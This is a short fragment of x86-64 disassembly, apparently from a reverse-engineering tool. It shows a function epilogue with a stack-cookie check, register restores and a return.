lea rcx, [rsp + 0x48]
call fcn.1400074b0
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14000ba00
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret